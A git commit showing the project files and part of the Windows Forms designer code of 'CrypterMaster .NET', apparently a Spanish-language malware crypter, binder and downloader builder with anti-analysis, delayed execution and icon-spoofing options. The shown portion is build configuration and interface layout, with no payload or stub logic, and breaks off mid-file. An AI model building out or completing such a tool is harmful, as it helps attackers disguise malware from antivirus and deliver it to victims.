initial commit

This commit is contained in:
i2p
2026-08-27 11:04:21 -06:00
commit 07a49a8c50
937 changed files with 196477 additions and 0 deletions
Binary file not shown.
@@ -0,0 +1,22 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.30501.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "CrypterMaster", "CrypterMaster\CrypterMaster.vbproj", "{F2B037A7-F0C0-4875-B945-3A06DAB33E00}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{F2B037A7-F0C0-4875-B945-3A06DAB33E00}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{F2B037A7-F0C0-4875-B945-3A06DAB33E00}.Debug|Any CPU.Build.0 = Debug|Any CPU
{F2B037A7-F0C0-4875-B945-3A06DAB33E00}.Release|Any CPU.ActiveCfg = Release|Any CPU
{F2B037A7-F0C0-4875-B945-3A06DAB33E00}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -0,0 +1,6 @@
<?xml version="1.0"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5"/>
</startup>
</configuration>
@@ -0,0 +1,173 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="12.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{F2B037A7-F0C0-4875-B945-3A06DAB33E00}</ProjectGuid>
<OutputType>WinExe</OutputType>
<StartupObject>CrypterMaster.My.MyApplication</StartupObject>
<RootNamespace>CrypterMaster</RootNamespace>
<AssemblyName>CrypterMaster .NET</AssemblyName>
<FileAlignment>512</FileAlignment>
<MyType>WindowsForms</MyType>
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
<IsWebBootstrapper>false</IsWebBootstrapper>
<PublishUrl>publicar\</PublishUrl>
<Install>true</Install>
<InstallFrom>Disk</InstallFrom>
<UpdateEnabled>false</UpdateEnabled>
<UpdateMode>Foreground</UpdateMode>
<UpdateInterval>7</UpdateInterval>
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
<UpdatePeriodically>false</UpdatePeriodically>
<UpdateRequired>false</UpdateRequired>
<MapFileExtensions>true</MapFileExtensions>
<ApplicationRevision>0</ApplicationRevision>
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
<UseApplicationTrust>false</UseApplicationTrust>
<BootstrapperEnabled>true</BootstrapperEnabled>
<TargetFrameworkProfile />
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<DefineDebug>true</DefineDebug>
<DefineTrace>true</DefineTrace>
<OutputPath>bin\Debug\</OutputPath>
<DocumentationFile>CrypterMaster .NET.xml</DocumentationFile>
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<DefineDebug>false</DefineDebug>
<DefineTrace>true</DefineTrace>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DocumentationFile>CrypterMaster .NET.xml</DocumentationFile>
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
</PropertyGroup>
<PropertyGroup>
<OptionExplicit>On</OptionExplicit>
</PropertyGroup>
<PropertyGroup>
<OptionCompare>Binary</OptionCompare>
</PropertyGroup>
<PropertyGroup>
<OptionStrict>Off</OptionStrict>
</PropertyGroup>
<PropertyGroup>
<OptionInfer>On</OptionInfer>
</PropertyGroup>
<PropertyGroup>
<ApplicationIcon>windows8.ico</ApplicationIcon>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Data" />
<Reference Include="System.Deployment" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
</ItemGroup>
<ItemGroup>
<Import Include="Microsoft.VisualBasic" />
<Import Include="System" />
<Import Include="System.Collections" />
<Import Include="System.Collections.Generic" />
<Import Include="System.Data" />
<Import Include="System.Drawing" />
<Import Include="System.Diagnostics" />
<Import Include="System.Windows.Forms" />
<Import Include="System.Linq" />
<Import Include="System.Xml.Linq" />
<Import Include="System.Threading.Tasks" />
</ItemGroup>
<ItemGroup>
<Compile Include="clsIconChanger.vb" />
<Compile Include="GUI.vb">
<SubType>Form</SubType>
</Compile>
<Compile Include="GUI.Designer.vb">
<DependentUpon>GUI.vb</DependentUpon>
<SubType>Form</SubType>
</Compile>
<Compile Include="mFunciones.vb" />
<Compile Include="My Project\AssemblyInfo.vb" />
<Compile Include="My Project\Application.Designer.vb">
<AutoGen>True</AutoGen>
<DependentUpon>Application.myapp</DependentUpon>
</Compile>
<Compile Include="My Project\Resources.Designer.vb">
<AutoGen>True</AutoGen>
<DesignTime>True</DesignTime>
<DependentUpon>Resources.resx</DependentUpon>
</Compile>
<Compile Include="My Project\Settings.Designer.vb">
<AutoGen>True</AutoGen>
<DependentUpon>Settings.settings</DependentUpon>
<DesignTimeSharedInput>True</DesignTimeSharedInput>
</Compile>
<Compile Include="Theme.vb">
<SubType>Component</SubType>
</Compile>
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="GUI.resx">
<DependentUpon>GUI.vb</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="My Project\Resources.resx">
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
<CustomToolNamespace>My.Resources</CustomToolNamespace>
<SubType>Designer</SubType>
</EmbeddedResource>
</ItemGroup>
<ItemGroup>
<None Include="My Project\Application.myapp">
<Generator>MyApplicationCodeGenerator</Generator>
<LastGenOutput>Application.Designer.vb</LastGenOutput>
</None>
<None Include="My Project\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
<CustomToolNamespace>My</CustomToolNamespace>
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
</None>
<None Include="App.config" />
</ItemGroup>
<ItemGroup>
<BootstrapperPackage Include=".NETFramework,Version=v4.5.1">
<Visible>False</Visible>
<ProductName>Microsoft .NET Framework 4.5.1 %28x86 y x64%29</ProductName>
<Install>true</Install>
</BootstrapperPackage>
<BootstrapperPackage Include="Microsoft.Net.Client.3.5">
<Visible>False</Visible>
<ProductName>.NET Framework 3.5 SP1 Client Profile</ProductName>
<Install>false</Install>
</BootstrapperPackage>
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
<Visible>False</Visible>
<ProductName>.NET Framework 3.5 SP1</ProductName>
<Install>false</Install>
</BootstrapperPackage>
</ItemGroup>
<ItemGroup>
<None Include="Resources\ResHacker.exe" />
<Content Include="windows8.ico" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
</Project>
@@ -0,0 +1,13 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<PublishUrlHistory>publicar\</PublishUrlHistory>
<InstallUrlHistory />
<SupportUrlHistory />
<UpdateUrlHistory />
<BootstrapperUrlHistory />
<ErrorReportUrlHistory />
<FallbackCulture>es-ES</FallbackCulture>
<VerifyUploadedFiles>false</VerifyUploadedFiles>
</PropertyGroup>
</Project>
@@ -0,0 +1,919 @@
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
Partial Class GUI
Inherits System.Windows.Forms.Form
'Form reemplaza a Dispose para limpiar la lista de componentes.
<System.Diagnostics.DebuggerNonUserCode()> _
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
Try
If disposing AndAlso components IsNot Nothing Then
components.Dispose()
End If
Finally
MyBase.Dispose(disposing)
End Try
End Sub
'Requerido por el Diseñador de Windows Forms
Private components As System.ComponentModel.IContainer
'NOTA: el Diseñador de Windows Forms necesita el siguiente procedimiento
'Se puede modificar usando el Diseñador de Windows Forms.
'No lo modifique con el editor de código.
<System.Diagnostics.DebuggerStepThrough()> _
Private Sub InitializeComponent()
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(GUI))
Me.dialogCrypter = New System.Windows.Forms.OpenFileDialog()
Me.dialogBinder = New System.Windows.Forms.OpenFileDialog()
Me.dialogIcono = New System.Windows.Forms.OpenFileDialog()
Me.dialogAssembly = New System.Windows.Forms.OpenFileDialog()
Me.dialogCrear = New System.Windows.Forms.SaveFileDialog()
Me.HuraGUI = New CrypterMaster.HuraForm()
Me.btnCrear = New CrypterMaster.HuraButton()
Me.progressCrear = New CrypterMaster.HuraProgressBar()
Me.tabControl = New CrypterMaster.HuraTabControl()
Me.TabCrypter = New System.Windows.Forms.TabPage()
Me.HuraGroupBox1 = New CrypterMaster.HuraGroupBox()
Me.rbtnUnknown_Crypter = New CrypterMaster.HuraRadioButton()
Me.rbtnStairs_Crypter = New CrypterMaster.HuraRadioButton()
Me.Label3 = New System.Windows.Forms.Label()
Me.btnGenerar_Crypter = New CrypterMaster.HuraButton()
Me.txtClave_Crypter = New CrypterMaster.HuraTextBox()
Me.Label2 = New System.Windows.Forms.Label()
Me.btnSeleccionar_Crypter = New CrypterMaster.HuraButton()
Me.txtArchivo_Crypter = New CrypterMaster.HuraTextBox()
Me.Label1 = New System.Windows.Forms.Label()
Me.TabBinder = New System.Windows.Forms.TabPage()
Me.comboDrop_Binder = New CrypterMaster.HuraComboBox()
Me.HuraGroupBox3 = New CrypterMaster.HuraGroupBox()
Me.chkEjecutar_Binder = New CrypterMaster.HuraCheckBox()
Me.btnAgregar_Binder = New CrypterMaster.HuraButton()
Me.btnQuitar_Binder = New CrypterMaster.HuraButton()
Me.lstArchivos_Binder = New System.Windows.Forms.ListView()
Me.colArchivo_Binder = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
Me.colEjecutar_Binder = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
Me.TabDownloader = New System.Windows.Forms.TabPage()
Me.HuraGroupBox4 = New CrypterMaster.HuraGroupBox()
Me.chkEjecutar_Downloader = New CrypterMaster.HuraCheckBox()
Me.btnAgregar_Downloader = New CrypterMaster.HuraButton()
Me.btnQuitar_Downloader = New CrypterMaster.HuraButton()
Me.lstArchivos_Downloader = New System.Windows.Forms.ListView()
Me.colURL_Downloader = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
Me.colExtension_Downloader = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
Me.colEjecutar_Downloader = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
Me.comboDrop_Downloader = New CrypterMaster.HuraComboBox()
Me.tabOpciones = New System.Windows.Forms.TabPage()
Me.Label8 = New System.Windows.Forms.Label()
Me.updwnRetraso = New System.Windows.Forms.NumericUpDown()
Me.btnAssembly = New CrypterMaster.HuraButton()
Me.btnIcono = New CrypterMaster.HuraButton()
Me.chkRetraso = New CrypterMaster.HuraCheckBox()
Me.txtAssembly = New CrypterMaster.HuraTextBox()
Me.txtIcono = New CrypterMaster.HuraTextBox()
Me.chkAssembly = New CrypterMaster.HuraCheckBox()
Me.chkIcono = New CrypterMaster.HuraCheckBox()
Me.chkAntis = New CrypterMaster.HuraCheckBox()
Me.tabAcercaDe = New System.Windows.Forms.TabPage()
Me.PictureBox2 = New System.Windows.Forms.PictureBox()
Me.LinkLabel1 = New System.Windows.Forms.LinkLabel()
Me.lblScan = New System.Windows.Forms.LinkLabel()
Me.Label7 = New System.Windows.Forms.Label()
Me.Label6 = New System.Windows.Forms.Label()
Me.Label5 = New System.Windows.Forms.Label()
Me.Label4 = New System.Windows.Forms.Label()
Me.HuraGroupBox2 = New CrypterMaster.HuraGroupBox()
Me.PictureBox1 = New System.Windows.Forms.PictureBox()
Me.HuraControlBox1 = New CrypterMaster.HuraControlBox()
Me.HuraGUI.SuspendLayout()
Me.tabControl.SuspendLayout()
Me.TabCrypter.SuspendLayout()
Me.HuraGroupBox1.SuspendLayout()
Me.TabBinder.SuspendLayout()
Me.HuraGroupBox3.SuspendLayout()
Me.TabDownloader.SuspendLayout()
Me.HuraGroupBox4.SuspendLayout()
Me.tabOpciones.SuspendLayout()
CType(Me.updwnRetraso, System.ComponentModel.ISupportInitialize).BeginInit()
Me.tabAcercaDe.SuspendLayout()
CType(Me.PictureBox2, System.ComponentModel.ISupportInitialize).BeginInit()
Me.HuraGroupBox2.SuspendLayout()
CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit()
Me.SuspendLayout()
'
'HuraGUI
'
Me.HuraGUI.AccentColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer))
Me.HuraGUI.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer))
Me.HuraGUI.ColorScheme = CrypterMaster.HuraForm.ColorSchemes.Dark
Me.HuraGUI.Controls.Add(Me.btnCrear)
Me.HuraGUI.Controls.Add(Me.progressCrear)
Me.HuraGUI.Controls.Add(Me.tabControl)
Me.HuraGUI.Controls.Add(Me.HuraControlBox1)
Me.HuraGUI.Dock = System.Windows.Forms.DockStyle.Fill
Me.HuraGUI.Font = New System.Drawing.Font("Segoe UI", 9.5!)
Me.HuraGUI.ForeColor = System.Drawing.Color.Gray
Me.HuraGUI.Location = New System.Drawing.Point(0, 0)
Me.HuraGUI.Name = "HuraGUI"
Me.HuraGUI.Size = New System.Drawing.Size(685, 231)
Me.HuraGUI.TabIndex = 0
Me.HuraGUI.Text = "CrypterMaster .NET"
'
'btnCrear
'
Me.btnCrear.BackColor = System.Drawing.Color.Transparent
Me.btnCrear.BaseColour = System.Drawing.Color.White
Me.btnCrear.BorderColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.btnCrear.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer))
Me.btnCrear.HoverColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer))
Me.btnCrear.Location = New System.Drawing.Point(543, 195)
Me.btnCrear.Name = "btnCrear"
Me.btnCrear.PressedColour = System.Drawing.Color.FromArgb(CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer))
Me.btnCrear.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(191, Byte), Integer), CType(CType(255, Byte), Integer))
Me.btnCrear.Size = New System.Drawing.Size(130, 26)
Me.btnCrear.TabIndex = 5
Me.btnCrear.Text = "Crear"
'
'progressCrear
'
Me.progressCrear.BaseColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer))
Me.progressCrear.BorderColour = System.Drawing.Color.FromArgb(CType(CType(190, Byte), Integer), CType(CType(190, Byte), Integer), CType(CType(190, Byte), Integer))
Me.progressCrear.FontColour = System.Drawing.Color.FromArgb(CType(CType(50, Byte), Integer), CType(CType(50, Byte), Integer), CType(CType(50, Byte), Integer))
Me.progressCrear.Location = New System.Drawing.Point(12, 195)
Me.progressCrear.Maximum = 100
Me.progressCrear.Name = "progressCrear"
Me.progressCrear.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.progressCrear.SecondColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(250, Byte), Integer))
Me.progressCrear.Size = New System.Drawing.Size(525, 26)
Me.progressCrear.TabIndex = 4
Me.progressCrear.Text = "HuraProgressBar1"
Me.progressCrear.TwoColour = True
Me.progressCrear.Value = 0
'
'tabControl
'
Me.tabControl.Controls.Add(Me.TabCrypter)
Me.tabControl.Controls.Add(Me.TabBinder)
Me.tabControl.Controls.Add(Me.TabDownloader)
Me.tabControl.Controls.Add(Me.tabOpciones)
Me.tabControl.Controls.Add(Me.tabAcercaDe)
Me.tabControl.Font = New System.Drawing.Font("Segoe UI", 9.5!)
Me.tabControl.ItemSize = New System.Drawing.Size(0, 30)
Me.tabControl.Location = New System.Drawing.Point(12, 32)
Me.tabControl.Name = "tabControl"
Me.tabControl.SelectedIndex = 0
Me.tabControl.Size = New System.Drawing.Size(662, 161)
Me.tabControl.TabIndex = 3
'
'TabCrypter
'
Me.TabCrypter.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer))
Me.TabCrypter.Controls.Add(Me.HuraGroupBox1)
Me.TabCrypter.Controls.Add(Me.btnGenerar_Crypter)
Me.TabCrypter.Controls.Add(Me.txtClave_Crypter)
Me.TabCrypter.Controls.Add(Me.Label2)
Me.TabCrypter.Controls.Add(Me.btnSeleccionar_Crypter)
Me.TabCrypter.Controls.Add(Me.txtArchivo_Crypter)
Me.TabCrypter.Controls.Add(Me.Label1)
Me.TabCrypter.Location = New System.Drawing.Point(4, 34)
Me.TabCrypter.Name = "TabCrypter"
Me.TabCrypter.Padding = New System.Windows.Forms.Padding(3)
Me.TabCrypter.Size = New System.Drawing.Size(654, 123)
Me.TabCrypter.TabIndex = 0
Me.TabCrypter.Text = "Crypter"
'
'HuraGroupBox1
'
Me.HuraGroupBox1.BackColor = System.Drawing.Color.White
Me.HuraGroupBox1.Controls.Add(Me.rbtnUnknown_Crypter)
Me.HuraGroupBox1.Controls.Add(Me.rbtnStairs_Crypter)
Me.HuraGroupBox1.Controls.Add(Me.Label3)
Me.HuraGroupBox1.Location = New System.Drawing.Point(505, 23)
Me.HuraGroupBox1.Name = "HuraGroupBox1"
Me.HuraGroupBox1.Size = New System.Drawing.Size(143, 85)
Me.HuraGroupBox1.TabIndex = 6
Me.HuraGroupBox1.Text = "HuraGroupBox1"
'
'rbtnUnknown_Crypter
'
Me.rbtnUnknown_Crypter.BaseColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer))
Me.rbtnUnknown_Crypter.BorderColour = System.Drawing.Color.FromArgb(CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer))
Me.rbtnUnknown_Crypter.Checked = False
Me.rbtnUnknown_Crypter.CheckedColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.rbtnUnknown_Crypter.Cursor = System.Windows.Forms.Cursors.Hand
Me.rbtnUnknown_Crypter.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer))
Me.rbtnUnknown_Crypter.HighlightColour = System.Drawing.Color.FromArgb(CType(CType(240, Byte), Integer), CType(CType(240, Byte), Integer), CType(CType(240, Byte), Integer))
Me.rbtnUnknown_Crypter.Location = New System.Drawing.Point(6, 56)
Me.rbtnUnknown_Crypter.Name = "rbtnUnknown_Crypter"
Me.rbtnUnknown_Crypter.Size = New System.Drawing.Size(127, 22)
Me.rbtnUnknown_Crypter.TabIndex = 3
Me.rbtnUnknown_Crypter.Text = "Unknown"
'
'rbtnStairs_Crypter
'
Me.rbtnStairs_Crypter.BaseColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer))
Me.rbtnStairs_Crypter.BorderColour = System.Drawing.Color.FromArgb(CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer))
Me.rbtnStairs_Crypter.Checked = True
Me.rbtnStairs_Crypter.CheckedColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.rbtnStairs_Crypter.Cursor = System.Windows.Forms.Cursors.Hand
Me.rbtnStairs_Crypter.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer))
Me.rbtnStairs_Crypter.HighlightColour = System.Drawing.Color.FromArgb(CType(CType(240, Byte), Integer), CType(CType(240, Byte), Integer), CType(CType(240, Byte), Integer))
Me.rbtnStairs_Crypter.Location = New System.Drawing.Point(6, 28)
Me.rbtnStairs_Crypter.Name = "rbtnStairs_Crypter"
Me.rbtnStairs_Crypter.Size = New System.Drawing.Size(127, 22)
Me.rbtnStairs_Crypter.TabIndex = 2
Me.rbtnStairs_Crypter.Text = "Stairs"
'
'Label3
'
Me.Label3.AutoSize = True
Me.Label3.ForeColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.Label3.Location = New System.Drawing.Point(3, 4)
Me.Label3.Name = "Label3"
Me.Label3.Size = New System.Drawing.Size(130, 17)
Me.Label3.TabIndex = 1
Me.Label3.Text = "Algoritmo de cifrado"
'
'btnGenerar_Crypter
'
Me.btnGenerar_Crypter.BackColor = System.Drawing.Color.Transparent
Me.btnGenerar_Crypter.BaseColour = System.Drawing.Color.White
Me.btnGenerar_Crypter.BorderColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.btnGenerar_Crypter.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer))
Me.btnGenerar_Crypter.HoverColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer))
Me.btnGenerar_Crypter.Location = New System.Drawing.Point(428, 79)
Me.btnGenerar_Crypter.Name = "btnGenerar_Crypter"
Me.btnGenerar_Crypter.PressedColour = System.Drawing.Color.FromArgb(CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer))
Me.btnGenerar_Crypter.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(191, Byte), Integer), CType(CType(255, Byte), Integer))
Me.btnGenerar_Crypter.Size = New System.Drawing.Size(71, 29)
Me.btnGenerar_Crypter.TabIndex = 5
Me.btnGenerar_Crypter.Text = "Generar"
'
'txtClave_Crypter
'
Me.txtClave_Crypter.BackColor = System.Drawing.Color.Transparent
Me.txtClave_Crypter.BackgroundColour = System.Drawing.Color.White
Me.txtClave_Crypter.BorderColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer))
Me.txtClave_Crypter.Location = New System.Drawing.Point(6, 79)
Me.txtClave_Crypter.MaxLength = 32767
Me.txtClave_Crypter.Multiline = False
Me.txtClave_Crypter.Name = "txtClave_Crypter"
Me.txtClave_Crypter.ReadOnly = True
Me.txtClave_Crypter.Size = New System.Drawing.Size(416, 29)
Me.txtClave_Crypter.Style = CrypterMaster.HuraTextBox.Styles.Normal
Me.txtClave_Crypter.TabIndex = 4
Me.txtClave_Crypter.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
Me.txtClave_Crypter.TextColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer))
Me.txtClave_Crypter.UseSystemPasswordChar = False
'
'Label2
'
Me.Label2.AutoSize = True
Me.Label2.ForeColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.Label2.Location = New System.Drawing.Point(3, 59)
Me.Label2.Name = "Label2"
Me.Label2.Size = New System.Drawing.Size(103, 17)
Me.Label2.TabIndex = 3
Me.Label2.Text = "Clave de cifrado"
'
'btnSeleccionar_Crypter
'
Me.btnSeleccionar_Crypter.BackColor = System.Drawing.Color.Transparent
Me.btnSeleccionar_Crypter.BaseColour = System.Drawing.Color.White
Me.btnSeleccionar_Crypter.BorderColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.btnSeleccionar_Crypter.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer))
Me.btnSeleccionar_Crypter.HoverColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer))
Me.btnSeleccionar_Crypter.Location = New System.Drawing.Point(428, 23)
Me.btnSeleccionar_Crypter.Name = "btnSeleccionar_Crypter"
Me.btnSeleccionar_Crypter.PressedColour = System.Drawing.Color.FromArgb(CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer))
Me.btnSeleccionar_Crypter.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(191, Byte), Integer), CType(CType(255, Byte), Integer))
Me.btnSeleccionar_Crypter.Size = New System.Drawing.Size(71, 29)
Me.btnSeleccionar_Crypter.TabIndex = 2
Me.btnSeleccionar_Crypter.Text = "Seleccionar"
'
'txtArchivo_Crypter
'
Me.txtArchivo_Crypter.BackColor = System.Drawing.Color.Transparent
Me.txtArchivo_Crypter.BackgroundColour = System.Drawing.Color.White
Me.txtArchivo_Crypter.BorderColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer))
Me.txtArchivo_Crypter.Location = New System.Drawing.Point(6, 23)
Me.txtArchivo_Crypter.MaxLength = 32767
Me.txtArchivo_Crypter.Multiline = False
Me.txtArchivo_Crypter.Name = "txtArchivo_Crypter"
Me.txtArchivo_Crypter.ReadOnly = True
Me.txtArchivo_Crypter.Size = New System.Drawing.Size(416, 29)
Me.txtArchivo_Crypter.Style = CrypterMaster.HuraTextBox.Styles.Normal
Me.txtArchivo_Crypter.TabIndex = 1
Me.txtArchivo_Crypter.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
Me.txtArchivo_Crypter.TextColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer))
Me.txtArchivo_Crypter.UseSystemPasswordChar = False
'
'Label1
'
Me.Label1.AutoSize = True
Me.Label1.ForeColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer))
Me.Label1.Location = New System.Drawing.Point(3, 3)
Me.Label1.Name = "Label1"
Me.Label1.Size = New System.Drawing.Size(118, 17)
Me.Label1.TabIndex = 0
Me.Label1.Text = "Archivo a encriptar"
'
'TabBinder
'
Me.TabBinder.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer))
Me.TabBinder.Controls.Add(Me.comboDrop_Binder)
Me.TabBinder.Controls.Add(Me.HuraGroupBox3)
Me.TabBinder.Controls.Add(Me.lstArchivos_Binder)
Me.TabBinder.Location = New System.Drawing.Point(4, 34)
Me.TabBinder.Name = "TabBinder"
Me.TabBinder.Padding = New System.Windows.Forms.Padding(3)
Me.TabBinder.Size = New System.Drawing.Size(654, 123)
Me.TabBinder.TabIndex = 1
Me.TabBinder.Text = "Binder"
'
'comboDrop_Binder
'
Me.comboDrop_Binder.AccentColor = System.Drawing.Color.FromArgb(CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer))
Me.comboDrop_Binder.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer))
Me.comboDrop_Binder.ColorScheme = CrypterMaster.HuraComboBox.ColorSchemes.Dark
Me.comboDrop_Binder.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed
Me.comboDrop_Binder.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList
Me.comboDrop_Binder.Font = New System.Drawing.Font("Segoe UI", 9.5!)
Me.comboDrop_Binder.ForeColor = System.Drawing.Color.White
Me.comboDrop_Binder.FormattingEnabled = True
